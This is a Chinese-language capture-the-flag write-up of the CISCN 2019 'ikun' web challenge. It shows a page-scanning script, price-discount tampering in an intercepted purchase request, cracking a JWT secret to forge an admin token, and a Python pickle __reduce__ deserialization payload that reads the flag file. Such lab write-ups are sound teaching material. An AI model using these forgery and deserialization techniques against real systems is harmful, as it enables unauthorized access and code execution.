CISCN 2019-ikun

怪味巧克力發表於2020-06-15

0x01

進去網址,頁面如下:

剛開始有個登陸和註冊的按鈕,上圖是我已經註冊後登陸成功後的頁面,我們發現在圖的左下角給了一個關鍵的提示,購買LV6,通過尋找我們發現頁面數很多,大概500頁,一個一個找不上辦法,所以我們用指令碼去尋找LV6所在頁面,指令碼如下:

import requests

r = requests.session()
url = "http://220.249.52.133:52610/shop?page="
for i in range(0,500):
    re = r.get(url+str(i))
    if "lv6.png" in re.text:
        print(i)
        break

輸出結果如下:

那麼我們知道了LV6在page=180,所以我們直接過去,購買它!

0x02

我們點選購買,發現太貴!我們註冊的賬號餘額僅僅有10元,那看來如果要購買這裡肯定有邏輯漏洞,我們抓包看看

通過嘗試,直接修改價格不成功,最後發現修改打折的折扣會成功,結果如下圖:

提示我們只有admin允許訪問,那看來在包中肯定有代表身份的內容,經過查詢,包中的JWT表示的正是身份,由於我們註冊的賬戶肯定不是admin,所以我們必須使用admin的身份才能進入到頁面。

JWT web Token是常見的一種加密方式,通常有使用者名稱和私鑰,通過將自己的JWT進行解密,JWT解密加密網站 https://jwt.io/ 我們發現它的格式就是使用者名稱為公鑰,密碼為私鑰,使用者名稱我們知道了,就是admin,那麼接下來就是爆破密碼,下面提供github上一個窮舉爆破密碼的

https://github.com/brendan-rius/c-jwt-cracker

爆破出密碼為:1Kun

那麼我們利用密碼再去進行JWT加密,得到如下結果:

然後複製編碼的內容,再貼上到包中的JWT位置,這樣我們就可以成功進入

返回結果如下:

發現有一個按鈕,點選,沒反應,然後我們先檢視一下原始碼:

發現原始碼洩露,我們把它下載下來,解壓看看有沒有什麼有用的東西,最終在Admin.py中發現了有用的東西

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

這裡存在python的反序列化,主要地方在於我們可以修改become這個引數,python中pickle可以讓類自定義它們的行為,其中一個方式就是__reduce__(self)

reduce(self)

當定義擴充套件型別時(也就是使用Python的C語言API實現的型別),如果你想pickle它們,你必須告訴Python如何pickle它們。 reduce 被定義之後,當物件被Pickle時就會被呼叫。它要麼返回一個代表全域性名稱的字串,Pyhton會查詢它並pickle,要麼返回一個元組。這個元組包含2到5個元素,其中包括:一個可呼叫的物件,用於重建物件時呼叫;一個引數元素,供那個可呼叫物件使用;被傳遞給 setstate 的狀態(可選);一個產生被pickle的列表元素的迭代器(可選);一個產生被pickle的字典元素的迭代器(可選);
那麼我們寫出反序列化指令碼:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))    

a = pickle.dumps(payload())  
a = urllib.quote(a)  
print a

這是python2的,執行結果如下:

0x03

那麼接下來我們利用這段反序列化url編碼修改become引數,得到我們想要的內容

得到flag

總結:

這裡重要學到的就是python的反序列化,還涉及到了購物邏輯漏洞,身份驗證等知識點